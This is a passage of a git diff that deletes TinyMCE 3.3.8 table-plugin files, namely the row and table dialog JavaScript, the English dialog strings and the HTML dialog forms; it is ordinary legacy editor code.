tinyMCEPopup.close(); - return; - } - - inst.execCommand('mceBeginUndoLevel'); - - switch (action) { - case "row": - updateRow(trElm); - break; - - case "all": - var rows = tableElm.getElementsByTagName("tr"); - - for (var i=0; i<rows.length; i++) - updateRow(rows[i], true); - - break; - - case "odd": - case "even": - var rows = tableElm.getElementsByTagName("tr"); - - for (var i=0; i<rows.length; i++) { - if ((i % 2 == 0 && action == "odd") || (i % 2 != 0 && action == "even")) - updateRow(rows[i], true, true); - } - - break; - } - - inst.addVisual(); - inst.nodeChanged(); - inst.execCommand('mceEndUndoLevel'); - tinyMCEPopup.close(); -} - -function updateRow(tr_elm, skip_id, skip_parent) { - var inst = tinyMCEPopup.editor; - var formObj = document.forms[0]; - var dom = inst.dom; - var curRowType = tr_elm.parentNode.nodeName.toLowerCase(); - var rowtype = getSelectValue(formObj, 'rowtype'); - var doc = inst.getDoc(); - - // Update row element - if (!skip_id) - tr_elm.setAttribute('id', formObj.id.value); - - tr_elm.setAttribute('align', getSelectValue(formObj, 'align')); - tr_elm.setAttribute('vAlign', getSelectValue(formObj, 'valign')); - tr_elm.setAttribute('lang', formObj.lang.value); - tr_elm.setAttribute('dir', getSelectValue(formObj, 'dir')); - tr_elm.setAttribute('style', dom.serializeStyle(dom.parseStyle(formObj.style.value))); - dom.setAttrib(tr_elm, 'class', getSelectValue(formObj, 'class')); - - // Clear deprecated attributes - tr_elm.setAttribute('background', ''); - tr_elm.setAttribute('bgColor', ''); - tr_elm.setAttribute('height', ''); - - // Set styles - tr_elm.style.height = getCSSSize(formObj.height.value); - tr_elm.style.backgroundColor = formObj.bgcolor.value; - - if (formObj.backgroundimage.value != "") - tr_elm.style.backgroundImage = "url('" + formObj.backgroundimage.value + "')"; - else - tr_elm.style.backgroundImage = ''; - - // Setup new rowtype - if (curRowType != rowtype && !skip_parent) { - // first, clone the node we are working on - var newRow = tr_elm.cloneNode(1); - - // next, find the parent of its new destination (creating it if necessary) - var theTable = dom.getParent(tr_elm, "table"); - var dest = rowtype; - var newParent = null; - for (var i = 0; i < theTable.childNodes.length; i++) { - if (theTable.childNodes[i].nodeName.toLowerCase() == dest) - newParent = theTable.childNodes[i]; - } - - if (newParent == null) { - newParent = doc.createElement(dest); - - if (dest == "thead") { - if (theTable.firstChild.nodeName == 'CAPTION') - inst.dom.insertAfter(newParent, theTable.firstChild); - else - theTable.insertBefore(newParent, theTable.firstChild); - } else - theTable.appendChild(newParent); - } - - // append the row to the new parent - newParent.appendChild(newRow); - - // remove the original - tr_elm.parentNode.removeChild(tr_elm); - - // set tr_elm to the new node - tr_elm = newRow; - } - - dom.setAttrib(tr_elm, 'style', dom.serializeStyle(dom.parseStyle(tr_elm.style.cssText))); -} - -function changedBackgroundImage() { - var formObj = document.forms[0], dom = tinyMCEPopup.editor.dom; - var st = dom.parseStyle(formObj.style.value); - - st['background-image'] = "url('" + formObj.backgroundimage.value + "')"; - - formObj.style.value = dom.serializeStyle(st); -} - -function changedStyle() { - var formObj = document.forms[0], dom = tinyMCEPopup.editor.dom; - var st = dom.parseStyle(formObj.style.value); - - if (st['background-image']) - formObj.backgroundimage.value = st['background-image'].replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); - else - formObj.backgroundimage.value = ''; - - if (st['height']) - formObj.height.value = trimSize(st['height']); - - if (st['background-color']) { - formObj.bgcolor.value = st['background-color']; - updateColor('bgcolor_pick','bgcolor'); - } -} - -function changedSize() { - var formObj = document.forms[0], dom = tinyMCEPopup.editor.dom; - var st = dom.parseStyle(formObj.style.value); - - var height = formObj.height.value; - if (height != "") - st['height'] = getCSSSize(height); - else - st['height'] = ""; - - formObj.style.value = dom.serializeStyle(st); -} - -function changedColor() { - var formObj = document.forms[0], dom = tinyMCEPopup.editor.dom; - var st = dom.parseStyle(formObj.style.value); - - st['background-color'] = formObj.bgcolor.value; - - formObj.style.value = dom.serializeStyle(st); -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/table.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/table.js deleted file mode 100644 index d1b42c2..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/js/table.js +++ /dev/null @@ -1,449 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var action, orgTableWidth, orgTableHeight, dom = tinyMCEPopup.editor.dom; - -function insertTable() { - var formObj = document.forms[0]; - var inst = tinyMCEPopup.editor, dom = inst.dom; - var cols = 2, rows = 2, border = 0, cellpadding = -1, cellspacing = -1, align, width, height, className, caption, frame, rules; - var html = '', capEl, elm; - var cellLimit, rowLimit, colLimit; - - tinyMCEPopup.restoreSelection(); - - if (!AutoValidator.validate(formObj)) { - tinyMCEPopup.alert(inst.getLang('invalid_data')); - return false; - } - - elm = dom.getParent(inst.selection.getNode(), 'table'); - - // Get form data - cols = formObj.elements['cols'].value; - rows = formObj.elements['rows'].value; - border = formObj.elements['border'].value != "" ? formObj.elements['border'].value : 0; - cellpadding = formObj.elements['cellpadding'].value != "" ? formObj.elements['cellpadding'].value : ""; - cellspacing = formObj.elements['cellspacing'].value != "" ? formObj.elements['cellspacing'].value : ""; - align = getSelectValue(formObj, "align"); - frame = getSelectValue(formObj, "tframe"); - rules = getSelectValue(formObj, "rules"); - width = formObj.elements['width'].value; - height = formObj.elements['height'].value; - bordercolor = formObj.elements['bordercolor'].value; - bgcolor = formObj.elements['bgcolor'].value; - className = getSelectValue(formObj, "class"); - id = formObj.elements['id'].value; - summary = formObj.elements['summary'].value; - style = formObj.elements['style'].value; - dir = formObj.elements['dir'].value; - lang = formObj.elements['lang'].value; - background = formObj.elements['backgroundimage'].value; - caption = formObj.elements['caption'].checked; - - cellLimit = tinyMCEPopup.getParam('table_cell_limit', false); - rowLimit = tinyMCEPopup.getParam('table_row_limit', false); - colLimit = tinyMCEPopup.getParam('table_col_limit', false); - - // Validate table size - if (colLimit && cols > colLimit) { - tinyMCEPopup.alert(inst.getLang('table_dlg.col_limit').replace(/\{\$cols\}/g, colLimit)); - return false; - } else if (rowLimit && rows > rowLimit) { - tinyMCEPopup.alert(inst.getLang('table_dlg.row_limit').replace(/\{\$rows\}/g, rowLimit)); - return false; - } else if (cellLimit && cols * rows > cellLimit) { - tinyMCEPopup.alert(inst.getLang('table_dlg.cell_limit').replace(/\{\$cells\}/g, cellLimit)); - return false; - } - - // Update table - if (action == "update") { - inst.execCommand('mceBeginUndoLevel'); - - dom.setAttrib(elm, 'cellPadding', cellpadding, true); - dom.setAttrib(elm, 'cellSpacing', cellspacing, true); - dom.setAttrib(elm, 'border', border); - dom.setAttrib(elm, 'align', align); - dom.setAttrib(elm, 'frame', frame); - dom.setAttrib(elm, 'rules', rules); - dom.setAttrib(elm, 'class', className); - dom.setAttrib(elm, 'style', style); - dom.setAttrib(elm, 'id', id); - dom.setAttrib(elm, 'summary', summary); - dom.setAttrib(elm, 'dir', dir); - dom.setAttrib(elm, 'lang', lang); - - capEl = inst.dom.select('caption', elm)[0]; - - if (capEl && !caption) - capEl.parentNode.removeChild(capEl); - - if (!capEl && caption) { - capEl = elm.ownerDocument.createElement('caption'); - - if (!tinymce.isIE) - capEl.innerHTML = '<br _mce_bogus="1"/>'; - - elm.insertBefore(capEl, elm.firstChild); - } - - if (width && inst.settings.inline_styles) { - dom.setStyle(elm, 'width', width); - dom.setAttrib(elm, 'width', ''); - } else { - dom.setAttrib(elm, 'width', width, true); - dom.setStyle(elm, 'width', ''); - } - - // Remove these since they are not valid XHTML - dom.setAttrib(elm, 'borderColor', ''); - dom.setAttrib(elm, 'bgColor', ''); - dom.setAttrib(elm, 'background', ''); - - if (height && inst.settings.inline_styles) { - dom.setStyle(elm, 'height', height); - dom.setAttrib(elm, 'height', ''); - } else { - dom.setAttrib(elm, 'height', height, true); - dom.setStyle(elm, 'height', ''); - } - - if (background != '') - elm.style.backgroundImage = "url('" + background + "')"; - else - elm.style.backgroundImage = ''; - -/* if (tinyMCEPopup.getParam("inline_styles")) { - if (width != '') - elm.style.width = getCSSSize(width); - }*/ - - if (bordercolor != "") { - elm.style.borderColor = bordercolor; - elm.style.borderStyle = elm.style.borderStyle == "" ? "solid" : elm.style.borderStyle; - elm.style.borderWidth = border == "" ? "1px" : border; - } else - elm.style.borderColor = ''; - - elm.style.backgroundColor = bgcolor; - elm.style.height = getCSSSize(height); - - inst.addVisual(); - - // Fix for stange MSIE align bug - //elm.outerHTML = elm.outerHTML; - - inst.nodeChanged(); - inst.execCommand('mceEndUndoLevel'); - - // Repaint if dimensions changed - if (formObj.width.value != orgTableWidth || formObj.height.value != orgTableHeight) - inst.execCommand('mceRepaint'); - - tinyMCEPopup.close(); - return true; - } - - // Create new table - html += '<table'; - - html += makeAttrib('id', id); - html += makeAttrib('border', border); - html += makeAttrib('cellpadding', cellpadding); - html += makeAttrib('cellspacing', cellspacing); - html += makeAttrib('_mce_new', '1'); - - if (width && inst.settings.inline_styles) { - if (style) - style += '; '; - - // Force px - if (/^[0-9\.]+$/.test(width)) - width += 'px'; - - style += 'width: ' + width; - } else - html += makeAttrib('width', width); - -/* if (height) { - if (style) - style += '; '; - - style += 'height: ' + height; - }*/ - - //html += makeAttrib('height', height); - //html += makeAttrib('bordercolor', bordercolor); - //html += makeAttrib('bgcolor', bgcolor); - html += makeAttrib('align', align); - html += makeAttrib('frame', frame); - html += makeAttrib('rules', rules); - html += makeAttrib('class', className); - html += makeAttrib('style', style); - html += makeAttrib('summary', summary); - html += makeAttrib('dir', dir); - html += makeAttrib('lang', lang); - html += '>'; - - if (caption) { - if (!tinymce.isIE) - html += '<caption><br _mce_bogus="1"/></caption>'; - else - html += '<caption></caption>'; - } - - for (var y=0; y<rows; y++) { - html += "<tr>"; - - for (var x=0; x<cols; x++) { - if (!tinymce.isIE) - html += '<td><br _mce_bogus="1"/></td>'; - else - html += '<td></td>'; - } - - html += "</tr>"; - } - - html += "</table>"; - - inst.execCommand('mceBeginUndoLevel'); - - // Move table - if (inst.settings.fix_table_elements) { - var patt = ''; - - inst.focus(); - inst.selection.setContent('<br class="_mce_marker" />'); - - tinymce.each('h1,h2,h3,h4,h5,h6,p'.split(','), function(n) { - if (patt) - patt += ','; - - patt += n + ' ._mce_marker'; - }); - - tinymce.each(inst.dom.select(patt), function(n) { - inst.dom.split(inst.dom.getParent(n, 'h1,h2,h3,h4,h5,h6,p'), n); - }); - - dom.setOuterHTML(dom.select('br._mce_marker')[0], html); - } else - inst.execCommand('mceInsertContent', false, html); - - tinymce.each(dom.select('table[_mce_new]'), function(node) { - var td = dom.select('td', node); - - inst.selection.select(td[0], true); - inst.selection.collapse(); - - dom.setAttrib(node, '_mce_new', ''); - }); - - inst.addVisual(); - inst.execCommand('mceEndUndoLevel'); - - tinyMCEPopup.close(); -} - -function makeAttrib(attrib, value) { - var formObj = document.forms[0]; - var valueElm = formObj.elements[attrib]; - - if (typeof(value) == "undefined" || value == null) { - value = ""; - - if (valueElm) - value = valueElm.value; - } - - if (value == "") - return ""; - - // XML encode it - value = value.replace(/&/g, '&amp;'); - value = value.replace(/\"/g, '&quot;'); - value = value.replace(/</g, '&lt;'); - value = value.replace(/>/g, '&gt;'); - - return ' ' + attrib + '="' + value + '"'; -} - -function init() { - tinyMCEPopup.resizeToInnerSize(); - - document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); - document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); - document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); - document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); - - var cols = 2, rows = 2, border = tinyMCEPopup.getParam('table_default_border', '0'), cellpadding = tinyMCEPopup.getParam('table_default_cellpadding', ''), cellspacing = tinyMCEPopup.getParam('table_default_cellspacing', ''); - var align = "", width = "", height = "", bordercolor = "", bgcolor = "", className = ""; - var id = "", summary = "", style = "", dir = "", lang = "", background = "", bgcolor = "", bordercolor = "", rules, frame; - var inst = tinyMCEPopup.editor, dom = inst.dom; - var formObj = document.forms[0]; - var elm = dom.getParent(inst.selection.getNode(), "table"); - - action = tinyMCEPopup.getWindowArg('action'); - - if (!action) - action = elm ? "update" : "insert"; - - if (elm && action != "insert") { - var rowsAr = elm.rows; - var cols = 0; - for (var i=0; i<rowsAr.length; i++) - if (rowsAr[i].cells.length > cols) - cols = rowsAr[i].cells.length; - - cols = cols; - rows = rowsAr.length; - - st = dom.parseStyle(dom.getAttrib(elm, "style")); - border = trimSize(getStyle(elm, 'border', 'borderWidth')); - cellpadding = dom.getAttrib(elm, 'cellpadding', ""); - cellspacing = dom.getAttrib(elm, 'cellspacing', ""); - width = trimSize(getStyle(elm, 'width', 'width')); - height = trimSize(getStyle(elm, 'height', 'height')); - bordercolor = convertRGBToHex(getStyle(elm, 'bordercolor', 'borderLeftColor')); - bgcolor = convertRGBToHex(getStyle(elm, 'bgcolor', 'backgroundColor')); - align = dom.getAttrib(elm, 'align', align); - frame = dom.getAttrib(elm, 'frame'); - rules = dom.getAttrib(elm, 'rules'); - className = tinymce.trim(dom.getAttrib(elm, 'class').replace(/mceItem.+/g, '')); - id = dom.getAttrib(elm, 'id'); - summary = dom.getAttrib(elm, 'summary'); - style = dom.serializeStyle(st); - dir = dom.getAttrib(elm, 'dir'); - lang = dom.getAttrib(elm, 'lang'); - background = getStyle(elm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); - formObj.caption.checked = elm.getElementsByTagName('caption').length > 0; - - orgTableWidth = width; - orgTableHeight = height; - - action = "update"; - formObj.insert.value = inst.getLang('update'); - } - - addClassesToList('class', "table_styles"); - TinyMCE_EditableSelects.init(); - - // Update form - selectByValue(formObj, 'align', align); - selectByValue(formObj, 'tframe', frame); - selectByValue(formObj, 'rules', rules); - selectByValue(formObj, 'class', className, true, true); - formObj.cols.value = cols; - formObj.rows.value = rows; - formObj.border.value = border; - formObj.cellpadding.value = cellpadding; - formObj.cellspacing.value = cellspacing; - formObj.width.value = width; - formObj.height.value = height; - formObj.bordercolor.value = bordercolor; - formObj.bgcolor.value = bgcolor; - formObj.id.value = id; - formObj.summary.value = summary; - formObj.style.value = style; - formObj.dir.value = dir; - formObj.lang.value = lang; - formObj.backgroundimage.value = background; - - updateColor('bordercolor_pick', 'bordercolor'); - updateColor('bgcolor_pick', 'bgcolor'); - - // Resize some elements - if (isVisible('backgroundimagebrowser')) - document.getElementById('backgroundimage').style.width = '180px'; - - // Disable some fields in update mode - if (action == "update") { - formObj.cols.disabled = true; - formObj.rows.disabled = true; - } -} - -function changedSize() { - var formObj = document.forms[0]; - var st = dom.parseStyle(formObj.style.value); - -/* var width = formObj.width.value; - if (width != "") - st['width'] = tinyMCEPopup.getParam("inline_styles") ? getCSSSize(width) : ""; - else - st['width'] = "";*/ - - var height = formObj.height.value; - if (height != "") - st['height'] = getCSSSize(height); - else - st['height'] = ""; - - formObj.style.value = dom.serializeStyle(st); -} - -function changedBackgroundImage() { - var formObj = document.forms[0]; - var st = dom.parseStyle(formObj.style.value); - - st['background-image'] = "url('" + formObj.backgroundimage.value + "')"; - - formObj.style.value = dom.serializeStyle(st); -} - -function changedBorder() { - var formObj = document.forms[0]; - var st = dom.parseStyle(formObj.style.value); - - // Update border width if the element has a color - if (formObj.border.value != "" && formObj.bordercolor.value != "") - st['border-width'] = formObj.border.value + "px"; - - formObj.style.value = dom.serializeStyle(st); -} - -function changedColor() { - var formObj = document.forms[0]; - var st = dom.parseStyle(formObj.style.value); - - st['background-color'] = formObj.bgcolor.value; - - if (formObj.bordercolor.value != "") { - st['border-color'] = formObj.bordercolor.value; - - // Add border-width if it's missing - if (!st['border-width']) - st['border-width'] = formObj.border.value == "" ? "1px" : formObj.border.value + "px"; - } - - formObj.style.value = dom.serializeStyle(st); -} - -function changedStyle() { - var formObj = document.forms[0]; - var st = dom.parseStyle(formObj.style.value); - - if (st['background-image']) - formObj.backgroundimage.value = st['background-image'].replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); - else - formObj.backgroundimage.value = ''; - - if (st['width']) - formObj.width.value = trimSize(st['width']); - - if (st['height']) - formObj.height.value = trimSize(st['height']); - - if (st['background-color']) { - formObj.bgcolor.value = st['background-color']; - updateColor('bgcolor_pick','bgcolor'); - } - - if (st['border-color']) { - formObj.bordercolor.value = st['border-color']; - updateColor('bordercolor_pick','bordercolor'); - } -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/langs/en_dlg.js deleted file mode 100644 index 000332a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/langs/en_dlg.js +++ /dev/null @@ -1,74 +0,0 @@ -tinyMCE.addI18n('en.table_dlg',{ -general_tab:"General", -advanced_tab:"Advanced", -general_props:"General properties", -advanced_props:"Advanced properties", -rowtype:"Row in table part", -title:"Insert/Modify table", -width:"Width", -height:"Height", -cols:"Cols", -rows:"Rows", -cellspacing:"Cellspacing", -cellpadding:"Cellpadding", -border:"Border", -align:"Alignment", -align_default:"Default", -align_left:"Left", -align_right:"Right", -align_middle:"Center", -row_title:"Table row properties", -cell_title:"Table cell properties", -cell_type:"Cell type", -valign:"Vertical alignment", -align_top:"Top", -align_bottom:"Bottom", -bordercolor:"Border color", -bgcolor:"Background color", -merge_cells_title:"Merge table cells", -id:"Id", -style:"Style", -langdir:"Language direction", -langcode:"Language code", -mime:"Target MIME type", -ltr:"Left to right", -rtl:"Right to left", -bgimage:"Background image", -summary:"Summary", -td:"Data", -th:"Header", -cell_cell:"Update current cell", -cell_row:"Update all cells in row", -cell_all:"Update all cells in table", -row_row:"Update current row", -row_odd:"Update odd rows in table", -row_even:"Update even rows in table", -row_all:"Update all rows in table", -thead:"Table Head", -tbody:"Table Body", -tfoot:"Table Foot", -scope:"Scope", -rowgroup:"Row Group", -colgroup:"Col Group", -col_limit:"You've exceeded the maximum number of columns of {$cols}.", -row_limit:"You've exceeded the maximum number of rows of {$rows}.", -cell_limit:"You've exceeded the maximum number of cells of {$cells}.", -missing_scope:"Are you sure you want to continue without specifying a scope for this table header cell. Without it, it may be difficult for some users with disabilities to understand the content or data displayed of the table.", -caption:"Table caption", -frame:"Frame", -frame_none:"none", -frame_groups:"groups", -frame_rows:"rows", -frame_cols:"cols", -frame_all:"all", -rules:"Rules", -rules_void:"void", -rules_above:"above", -rules_below:"below", -rules_hsides:"hsides", -rules_lhs:"lhs", -rules_rhs:"rhs", -rules_vsides:"vsides", -rules_box:"box", -rules_border:"border" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/merge_cells.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/merge_cells.htm deleted file mode 100644 index 9736ed8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/merge_cells.htm +++ /dev/null @@ -1,32 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#table_dlg.merge_cells_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/validate.js"></script> - <script type="text/javascript" src="js/merge_cells.js"></script> -</head> -<body style="margin: 8px"> -<form onsubmit="MergeCellsDialog.merge();return false;" action="#"> - <fieldset> - <legend>{#table_dlg.merge_cells_title}</legend> - <table border="0" cellpadding="0" cellspacing="3" width="100%"> - <tr> - <td>{#table_dlg.cols}:</td> - <td align="right"><input type="text" name="numcols" value="" class="number min1 mceFocus" style="width: 30px" /></td> - </tr> - <tr> - <td>{#table_dlg.rows}:</td> - <td align="right"><input type="text" name="numrows" value="" class="number min1" style="width: 30px" /></td> - </tr> - </table> - </fieldset> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/row.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/row.htm deleted file mode 100644 index 092e6c8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/row.htm +++ /dev/null @@ -1,155 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#table_dlg.row_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/row.js"></script> - <link href="css/row.css" rel="stylesheet" type="text/css" /> -</head> -<body id="tablerow" style="display: none"> - <form onsubmit="updateAction();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#table_dlg.general_tab}</a></span></li> - <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#table_dlg.advanced_tab}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#table_dlg.general_props}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td><label for="rowtype">{#table_dlg.rowtype}</label></td> - <td class="col2"> - <select id="rowtype" name="rowtype" class="mceFocus"> - <option value="thead">{#table_dlg.thead}</option> - <option value="tbody">{#table_dlg.tbody}</option> - <option value="tfoot">{#table_dlg.tfoot}</option> - </select> - </td> - </tr> - - <tr> - <td><label for="align">{#table_dlg.align}</label></td> - <td class="col2"> - <select id="align" name="align"> - <option value="">{#not_set}</option> - <option value="center">{#table_dlg.align_middle}</option> - <option value="left">{#table_dlg.align_left}</option> - <option value="right">{#table_dlg.align_right}</option> - </select> - </td> - </tr> - - <tr> - <td><label for="valign">{#table_dlg.valign}</label></td> - <td class="col2"> - <select id="valign" name="valign"> - <option value="">{#not_set}</option> - <option value="top">{#table_dlg.align_top}</option> - <option value="middle">{#table_dlg.align_middle}</option> - <option value="bottom">{#table_dlg.align_bottom}</option> - </select> - </td> - </tr> - - <tr id="styleSelectRow"> - <td><label for="class">{#class_name}</label></td> - <td class="col2"> - <select id="class" name="class" class="mceEditableSelect"> - <option value="" selected="selected">{#not_set}</option> - </select> - </td> - </tr> - - <tr> - <td><label for="height">{#table_dlg.height}</label></td> - <td class="col2"><input name="height" type="text" id="height" value="" size="4" maxlength="4" onchange="changedSize();" /></td> - </tr> - </table> - </fieldset> - </div> - - <div id="advanced_panel" class="panel"> - <fieldset> - <legend>{#table_dlg.advanced_props}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="column1"><label for="id">{#table_dlg.id}</label></td> - <td><input id="id" name="id" type="text" value="" style="width: 200px" /></td> - </tr> - - <tr> - <td><label for="style">{#table_dlg.style}</label></td> - <td><input type="text" id="style" name="style" value="" style="width: 200px;" onchange="changedStyle();" /></td> - </tr> - - <tr> - <td class="column1"><label for="dir">{#table_dlg.langdir}</label></td> - <td> - <select id="dir" name="dir" style="width: 200px"> - <option value="">{#not_set}</option> - <option value="ltr">{#table_dlg.ltr}</option> - <option value="rtl">{#table_dlg.rtl}</option> - </select> - </td> - </tr> - - <tr> - <td class="column1"><label for="lang">{#table_dlg.langcode}</label></td> - <td> - <input id="lang" name="lang" type="text" value="" style="width: 200px" /> - </td> - </tr> - - <tr> - <td class="column1"><label for="backgroundimage">{#table_dlg.bgimage}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="backgroundimage" name="backgroundimage" type="text" value="" style="width: 200px" onchange="changedBackgroundImage();" /></td> - <td id="backgroundimagebrowsercontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="column1"><label for="bgcolor">{#table_dlg.bgcolor}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="bgcolor" name="bgcolor" type="text" value="" size="9" onchange="updateColor('bgcolor_pick','bgcolor');changedColor();" /></td> - <td id="bgcolor_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - </div> - </div> - - <div class="mceActionPanel"> - <div> - <select id="action" name="action"> - <option value="row">{#table_dlg.row_row}</option> - <option value="odd">{#table_dlg.row_odd}</option> - <option value="even">{#table_dlg.row_even}</option> - <option value="all">{#table_dlg.row_all}</option> - </select> - </div> - - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/table.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/table.htm deleted file mode 100644 index f269039..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/table/table.htm +++ /dev/null @@ -1,187 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#table_dlg.title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="../../utils/validate.js"></script> - <script type="text/javascript" src="../../utils/editable_selects.js"></script> - <script type="text/javascript" src="js/table.js"></script> - <link href="css/table.css" rel="stylesheet" type="text/css" /> -</head> -<body id="table" style="display: none"> - <form onsubmit="insertTable();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#table_dlg.general_tab}</a></span></li> - <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#table_dlg.advanced_tab}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <fieldset> - <legend>{#table_dlg.general_props}</legend> - <table border="0" cellpadding="4" cellspacing="0" width="100%"> - <tr> - <td><label id="colslabel" for="cols">{#table_dlg.cols}</label></td> - <td><input id="cols" name="cols" type="text" value="" size="3" maxlength="3" class="required number min1 mceFocus" /></td> - <td><label id="rowslabel" for="rows">{#table_dlg.rows}</label></td> - <td><input id="rows" name="rows" type="text" value="" size="3" maxlength="3" class="required number min1" /></td> - </tr> - <tr> - <td><label id="cellpaddinglabel" for="cellpadding">{#table_dlg.cellpadding}</label></td> - <td><input id="cellpadding" name="cellpadding" type="text" value="" size="3" maxlength="3" class="number" /></td> - <td><label id="cellspacinglabel" for="cellspacing">{#table_dlg.cellspacing}</label></td> - <td><input id="cellspacing" name="cellspacing" type="text" value="" size="3" maxlength="3" class="number" /></td> - </tr> - <tr> - <td><label id="alignlabel" for="align">{#table_dlg.align}</label></td> - <td><select id="align" name="align"> - <option value="">{#not_set}</option> - <option value="center">{#table_dlg.align_middle}</option> - <option value="left">{#table_dlg.align_left}</option> - <option value="right">{#table_dlg.align_right}</option> - </select></td> - <td><label id="borderlabel" for="border">{#table_dlg.border}</label></td> - <td><input id="border" name="border" type="text" value="" size="3" maxlength="3" onchange="changedBorder();" class="number" /></td> - </tr> - <tr id="width_row"> - <td><label id="widthlabel" for="width">{#table_dlg.width}</label></td> - <td><input name="width" type="text" id="width" value="" size="4" maxlength="4" onchange="changedSize();" class="size" /></td> - <td><label id="heightlabel" for="height">{#table_dlg.height}</label></td> - <td><input name="height" type="text" id="height" value="" size="4" maxlength="4" onchange="changedSize();" class="size" /></td> - </tr> - <tr id="styleSelectRow"> - <td><label id="classlabel" for="class">{#class_name}</label></td> - <td colspan="3"> - <select id="class" name="class" class="mceEditableSelect"> - <option value="" selected="selected">{#not_set}</option> - </select></td> - </tr> - <tr> - <td class="column1"><label for="caption">{#table_dlg.caption}</label></td> - <td><input id="caption" name="caption" type="checkbox" class="checkbox" value="true" /></td> - </tr> - </table> - </fieldset> - </div> - - <div id="advanced_panel" class="panel"> - <fieldset> - <legend>{#table_dlg.advanced_props}</legend> - - <table border="0" cellpadding="0" cellspacing="4"> - <tr> - <td class="column1"><label for="id">{#table_dlg.id}</label></td> - <td><input id="id" name="id" type="text" value="" class="advfield" /></td> - </tr> - - <tr> - <td class="column1"><label for="summary">{#table_dlg.summary}</label></td> - <td><input id="summary" name="summary" type="text" value="" class="advfield" /></td> - </tr> - - <tr> - <td><label for="style">{#table_dlg.style}</label></td> - <td><input type="text" id="style" name="style" value="" class="advfield" onchange="changedStyle();" /></td> - </tr> - - <tr> - <td class="column1"><label id="langlabel" for="lang">{#table_dlg.langcode}</label></td> - <td> - <input id="lang" name="lang" type="text" value="" class="advfield" /> - </td> - </tr> - - <tr> - <td class="column1"><label for="backgroundimage">{#table_dlg.bgimage}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="backgroundimage" 